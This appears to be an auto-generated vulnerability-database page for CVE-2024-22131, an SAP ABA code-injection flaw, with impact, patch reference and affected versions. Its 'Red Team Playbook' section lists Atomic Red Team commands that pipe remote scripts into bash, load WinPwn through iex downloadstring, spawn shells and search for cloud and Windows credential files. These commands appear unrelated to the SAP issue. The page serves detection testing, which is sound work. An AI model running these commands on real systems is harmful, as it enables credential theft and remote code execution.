CVE-2024-22131
Overview
This vulnerability is a code injection flaw (CWE-94) in SAP ABA (Application Basis) platform versions 700 through 75I. The root cause lies in a vulnerable interface that improperly validates user input, allowing an authenticated user with remote execution authorization to invoke application functions beyond their intended permissions. The affected component is the ABAP platform's interface handling remote function calls, which lacks adequate input sanitization and authorization enforcement.
Vulnerability Description
In SAP ABA (Application Basis) - versions 700, 701, 702, 731, 740, 750, 751, 752, 75C, 75I, an attacker authenticated as a user with a remote execution authorization can use a vulnerable interface. This allows the attacker to use the interface to invoke an application function to perform actions which they would not normally be permitted to perform. Depending on the function executed, the attack can read or modify any user/business data and can make the entire system unavailable.
Impact
An attacker authenticated with remote execution privileges can execute unauthorized application functions, potentially reading or modifying any user or business data and causing complete system unavailability. This requires valid user credentials with specific remote execution rights and network access to the SAP system. The vulnerability enables high-impact actions including data breach, privilege escalation, and denial of service, as reflected in the CVSS vector (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).
Solution
SAP recommends applying the security notes and patches detailed in SAP Note 3420923, which address the vulnerable interface in ABAP platform versions 700 through 75I. Administrators should follow the update instructions provided in the SAP advisory at https://me.sap.com/notes/3420923 and the related SAP security documentation (https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html) to remediate this issue. No alternative workarounds are specified; patching is the primary mitigation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the SAP Application Basis (ABA) platform presents a significant risk due to its exploitation potential by authenticated users with remote execution authorization. This flaw allows attackers to leverage a vulnerable interface to invoke application functions that exceed their normal permissions. The implications of this vulnerability are severe, as it can enable unauthorized access to sensitive user and business data, as well as the ability to modify or delete critical information. The affected versions span a range of releases, indicating a widespread risk across various implementations of the platform, which is commonly used in enterprise environments.
Attack vectors associated with this vulnerability primarily involve authenticated users who already possess some level of access to the system. An attacker could exploit the vulnerable interface to execute functions that they are not authorized to perform, leading to unauthorized data manipulation or system disruption. For instance, an attacker could read confidential business data, alter financial records, or even disable critical services, rendering the system unavailable. Given the nature of enterprise applications, such actions could have cascading effects, impacting not only the integrity of data but also the operational continuity of the organization.
The real-world impact of this vulnerability can be profound. Organizations relying on the affected versions of the SAP ABA platform may face significant business risks, including financial losses, reputational damage, and regulatory penalties. The ability to manipulate or destroy data can lead to compliance violations, particularly in industries governed by strict data protection regulations. Furthermore, the potential for service disruption can affect customer trust and satisfaction, ultimately harming the organization’s market position. The combination of these factors underscores the critical need for organizations to address this vulnerability promptly.
Detection and mitigation strategies are essential to safeguard against the risks posed by this vulnerability. Organizations should conduct thorough security assessments to identify any instances of the affected versions in their environments. Implementing robust access controls and monitoring user activities can help detect anomalous behavior indicative of exploitation attempts. Additionally, patch management processes should be prioritized to ensure that all systems are updated to the latest secure versions of the software. Employing intrusion detection systems (IDS) can also provide an additional layer of security by alerting administrators to suspicious activities that may suggest an ongoing attack.
In conclusion, the vulnerability within the SAP Application Basis platform represents a critical threat that necessitates immediate attention from organizations utilizing affected versions. The potential for unauthorized access to sensitive data and the ability to disrupt services highlight the importance of proactive security measures. By implementing comprehensive detection and mitigation strategies, organizations can reduce their exposure to this vulnerability and protect their valuable assets from exploitation. The evolving threat landscape demands continuous vigilance and a commitment to maintaining robust cybersecurity practices to safeguard against such vulnerabilities.
Affected Products (10)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Sap | Abap Platform | 75c |
cpe:2.3:a:sap:abap_platform:75c:*:*:*:*:*:*:*
|
|
|
Sap | Abap Platform | 75i |
cpe:2.3:a:sap:abap_platform:75i:*:*:*:*:*:*:*
|
|
|
Sap | Abap Platform | 700 |
cpe:2.3:a:sap:abap_platform:700:*:*:*:*:*:*:*
|
|
|
Sap | Abap Platform | 701 |
cpe:2.3:a:sap:abap_platform:701:*:*:*:*:*:*:*
|
|
|
Sap | Abap Platform | 702 |
cpe:2.3:a:sap:abap_platform:702:*:*:*:*:*:*:*
|
|
|
Sap | Abap Platform | 731 |
cpe:2.3:a:sap:abap_platform:731:*:*:*:*:*:*:*
|
|
|
Sap | Abap Platform | 740 |
cpe:2.3:a:sap:abap_platform:740:*:*:*:*:*:*:*
|
|
|
Sap | Abap Platform | 750 |
cpe:2.3:a:sap:abap_platform:750:*:*:*:*:*:*:*
|
|
|
Sap | Abap Platform | 751 |
cpe:2.3:a:sap:abap_platform:751:*:*:*:*:*:*:*
|
|
|
Sap | Abap Platform | 752 |
cpe:2.3:a:sap:abap_platform:752:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-22131 |
| me.sap.com |
GitHub CVE
|
https://me.sap.com/notes/3420923 |
| sap.com |
GitHub CVE
|
https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html |